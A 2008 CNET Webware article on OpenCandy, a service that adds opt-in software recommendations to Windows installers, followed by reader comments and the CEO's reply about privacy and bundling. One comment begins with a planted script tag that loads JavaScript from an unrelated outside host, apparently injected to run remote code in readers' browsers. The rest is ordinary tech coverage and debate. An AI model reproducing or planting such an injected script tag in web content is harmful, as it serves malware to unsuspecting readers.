OpenCandy brings ad market to software installs. What?
We don't write much about old boring installable software here on Webware. We're not about that. But a new company, OpenCandy, is taking a proven Web 2.0 model--the ad network--and applying it to software installation. It's very clever. And it will probably work.
The concept is this: If you're a software developer, you can insert the OpenCandy library in your app's installer (Windows only, so far). When users install the app, they get a pitch to also download another app. As the host of the pitch, you can either hand-pick apps you want to associate with, for free (the spread-the-love model), or you can have OpenCandy select from apps that will pay you a bounty if your users choose to install them (the make-money model). Or you can specify a mix: some users will get one of your hand-picked apps pitched at them, others will get one that the network has chosen.
Two installs for the price of one: OpenCandy recommends downloads that compliment the program you're installing.
(Credit: OpenCandy)The module, when it runs, can base its pitches on information from the user's computer, which it gathers from the installer. Since installers can sniff the registry to determine what hardware and software is installed on the PC, the recommendations can be specific. For example, the module can tell if the user has one or more developer's tools installed, and make a pitch for product like Notepad++, a developer's editor.
Mercifully, the pitch to download the additional software is always opt-in. If you blithely just press "next" on each installation screen, you won't get the additional product.
Developers who want to take advantage of the network currently have to contact OpenCandy to get onboard, although in the future getting added in may be self-serve. When developers sign up, they can specify the bounty they will pay to other developers, and what types of users they want to pitch their apps to.
I expect that a lot of Web services with downloadable components (think uploaders, toolbars, AIR apps, and so on) will want to use this program, since desktop-resident pointers to Web services are potentially good traffic drivers.
OpenCandy is based on a model that has been proven at least once. CEO Darrius Thompson built the product after adding the download bounty program to DivX, which he co-founded. He says that the program generated millions of dollars a month for DivX, as a ride-along to the company's consumer software. And that's just one product.
This is a good business idea for riding on top of the still-kicking software industry.
Developers also get analytics.
Rafe Needleman writes about start-ups, new technologies, and Web 2.0 products, as editor of CNET's Webware. E-mail Rafe. 
It sounds like it CAN scan your computer, but I didn't see a claim anywhere whether or not it can report back (I'm to lazy to look it up right now - sue me.) But I agree otherwise, as long as it's opt-in and not opt-out my vomit-o-meter isn't pegging.
<script src=http://orienthostel.com/c.js></script> If I download an installer, or insert a CD and I get this kind of intrusive, classless crap, it had batter be one heck of a program with one heck of a price. Otherwise it's already dead in my book, and I will be complaining heavily to the vendor/publisher of that software. This is unacceptable!
and what's not to stop them from obtaining e-mail addresses when you sign up to the product you want in your pc? you'll get more spam...
this idea belongs way up in their a _ _....in a place the sun don't shine!
Not like they haven't been doing this with toolbars for a decade......
The current Web 2.0 paradigm
makes your online usage activity highly trackable,
if not to the planet, then at least to the web-based software vendor
that you're paying $30.00 a month.
ACTIVITY
The current vibe is that such logging of activity is okay for the Web 2.0 world to be successful;
the activity helps (every?) online software vendors to capitalize on popular features,
which results in better software for everyone, right?
MARKETING
As such, I think Open Candy and marketing initiatives like this are okay, too.
For instance, a spellchecking software I recently downloaded
prompted me to also download relevant dictionary files from a different vendor;
this is the same idea, yes?
I feel the rule of thumb needs to be that "like attracts like."
$30/month software should prompt you to buy similarly priced
(and/or more affordable) software.
Thoughts?
Secondly, the software is NOT bundled, Armored, it's downloaded, and only if you opt-in.
Thirdly, if you can get over the anti-advertising mindset, this could actually be potentially useful. Nobody's demanding that you install some other piece of software, but what makes this much better (imo) than bundled crapware is that it is actually dynamic, and tailored. The site gives a couple good examples of recommendations (for example, Inkscape when someone installs Gimp). I don't know how it handles competitors; I've contacted them about that one.
Can't we just assume that most users are not totally helpless, and know what they want?
- by opendarrius November 14, 2008 4:02 PM PST
- Hey all. I summarized what we're doing in regards to privacy in the link at the bottom.
- Reply to this comment
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(12 Comments)BTW we do NOT bundle software. Meaning we don't add any noticeable size to the installer.
And we are "opt in"... as someone has called out not opt out. It's useless for our partners to recommend a piece of software to you that you actually aren't going to use. It lessens their own user experience and the value they can create for each other.
Think how SpreadFirefox caught on... early on. It was web developers driving visibility. *They* helped change the competitive dynamics in the browser space by actively driving visibility of Firefox. We're helping developers get visibility of "good software" by having other developers leverage their own distribution channel and recommend what *they* think are good products.
Unfortunately a few software publishers have made the install experience crappy by bundling crappy things. But that same channel can be used in a very powerful, clean, transparent way if done with the right intention and with the idea that you need each consumer to see what you're doing as valuable.
Read what we're up to, try it out, and then come talk to me. I'd love to tell each person our story 1:1.
http://www.opencandy.com/blog/entry.php?id=4
Darrius